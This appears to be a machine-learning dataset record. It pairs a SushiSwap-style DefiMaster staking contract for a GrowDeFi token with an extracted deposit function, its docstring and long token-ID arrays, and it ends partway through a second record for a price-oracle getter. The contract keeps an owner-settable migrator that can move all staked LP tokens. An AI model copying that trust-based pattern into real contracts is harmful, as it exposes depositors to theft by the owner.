// XXX Migrator must have allowance access to UniswapV2 LP tokens.
// GrowDeFiSwap must mint EXACTLY the same amount of GrowDeFiSwap LP tokens or
// else something bad will happen. Traditional UniswapV2 does not
// do that so be careful!
function migrate(IERC20 token) external returns (IERC20);
}
// DefiMaster is the master of GrowDeFi. He can make GrowDeFi and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once GrowDeFi is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract DefiMaster is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of growdefis
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accGrowDeFiPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accGrowDeFiPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. growdefis to distribute per block.
uint256 lastRewardBlock; // Last block number that growdefis distribution occurs.
uint256 accGrowDeFiPerShare; // Accumulated growdefis per share, times 1e12. See below.
}
// The GrowDeFi TOKEN!
GrowDeFiToken public GrowDeFi;
// Dev address.
address public devaddr;
// Block number when bonus GrowDeFi period ends.
uint256 public bonusEndBlock;
// GrowDeFi tokens created per block.
uint256 public growdefiPerBlock;
// Bonus muliplier for early GrowDeFi makers.
uint256 public constant BONUS_MULTIPLIER = 5;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorDefiMaster public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Track all added pools to prevent adding the same pool more then once.
mapping (address => bool) public addedPoolLp;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when GrowDeFi mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
GrowDeFiToken _growdefi,
address _devaddr,
uint256 _growdefiPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock
) public {
GrowDeFi = _growdefi;
devaddr = _devaddr;
growdefiPerBlock = _growdefiPerBlock;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
require(addedPoolLp[address(_lpToken)] == false, "Token Address already exists in pool");
addedPoolLp[address(_lpToken)] = true;
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accGrowDeFiPerShare: 0
}));
}
// Update the given pool's GrowDeFi allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorDefiMaster _migrator) public onlyOwner {
migrator = _migrator;
}
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending growdefis on frontend.
function pendingGrowDeFi(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accGrowDeFiPerShare = pool.accGrowDeFiPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 growdefiReward = multiplier.mul(growdefiPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accGrowDeFiPerShare = accGrowDeFiPerShare.add(growdefiReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accGrowDeFiPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 growdefiReward = multiplier.mul(growdefiPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
GrowDeFi.mint(address(this), growdefiReward);
pool.accGrowDeFiPerShare = pool.accGrowDeFiPerShare.add(growdefiReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to DefiMaster for GrowDeFi allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accGrowDeFiPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeGrowDeFiTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accGrowDeFiPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from DefiMaster.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accGrowDeFiPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeGrowDeFiTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accGrowDeFiPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe GrowDeFi transfer function, just in case if rounding error causes pool to not have enough growdefis.
function safeGrowDeFiTransfer(address _to, uint256 _amount) internal {
uint256 growdefiBal = GrowDeFi.balanceOf(address(this));
if (_amount > growdefiBal) {
GrowDeFi.transfer(_to, growdefiBal);
} else {
GrowDeFi.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
}
|
Deposit LP tokens to DefiMaster for GrowDeFi allocation.
|
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accGrowDeFiPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeGrowDeFiTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accGrowDeFiPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
| 244,080 |
[
1,
4625,
348,
7953,
560,
30,
225,
4019,
538,
305,
511,
52,
2430,
358,
10922,
77,
7786,
364,
611,
492,
758,
42,
77,
13481,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
443,
1724,
12,
11890,
5034,
389,
6610,
16,
2254,
5034,
389,
8949,
13,
1071,
288,
203,
3639,
8828,
966,
2502,
2845,
273,
2845,
966,
63,
67,
6610,
15533,
203,
3639,
25003,
2502,
729,
273,
16753,
63,
67,
6610,
6362,
3576,
18,
15330,
15533,
203,
3639,
1089,
2864,
24899,
6610,
1769,
203,
3639,
309,
261,
1355,
18,
8949,
405,
374,
13,
288,
203,
5411,
2254,
5034,
4634,
273,
729,
18,
8949,
18,
16411,
12,
6011,
18,
8981,
30948,
758,
42,
77,
2173,
9535,
2934,
2892,
12,
21,
73,
2138,
2934,
1717,
12,
1355,
18,
266,
2913,
758,
23602,
1769,
203,
5411,
309,
12,
9561,
405,
374,
13,
288,
203,
7734,
4183,
30948,
758,
42,
77,
5912,
12,
3576,
18,
15330,
16,
4634,
1769,
203,
5411,
289,
203,
3639,
289,
203,
3639,
309,
24899,
8949,
405,
374,
13,
288,
203,
5411,
2845,
18,
9953,
1345,
18,
4626,
5912,
1265,
12,
2867,
12,
3576,
18,
15330,
3631,
1758,
12,
2211,
3631,
389,
8949,
1769,
203,
5411,
729,
18,
8949,
273,
729,
18,
8949,
18,
1289,
24899,
8949,
1769,
203,
3639,
289,
203,
3639,
729,
18,
266,
2913,
758,
23602,
273,
729,
18,
8949,
18,
16411,
12,
6011,
18,
8981,
30948,
758,
42,
77,
2173,
9535,
2934,
2892,
12,
21,
73,
2138,
1769,
203,
3639,
3626,
4019,
538,
305,
12,
3576,
18,
15330,
16,
389,
6610,
16,
389,
8949,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x8ABb6cc2810c22Df468E5fC491AB693F0901c927/sources/PriceOracle.sol
|
* @dev Get last setting price timestamp for an asset. @param asset Asset for which to get the timestamp. @return Uint of timestamp or zero if unset./
|
function getLastSetPriceTime(address asset)
external
view
returns (uint256)
{
return lastSetPriceTimestamp[asset];
}
| 3,661,679 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
968,
1142,
3637,
6205,
2858,
364,
392,
3310,
18,
632,
891,
3310,
10494,
364,
1492,
358,
336,
326,
2858,
18,
632,
2463,
7320,
434,
2858,
578,
3634,
309,
2646,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7595,
694,
5147,
950,
12,
2867,
3310,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
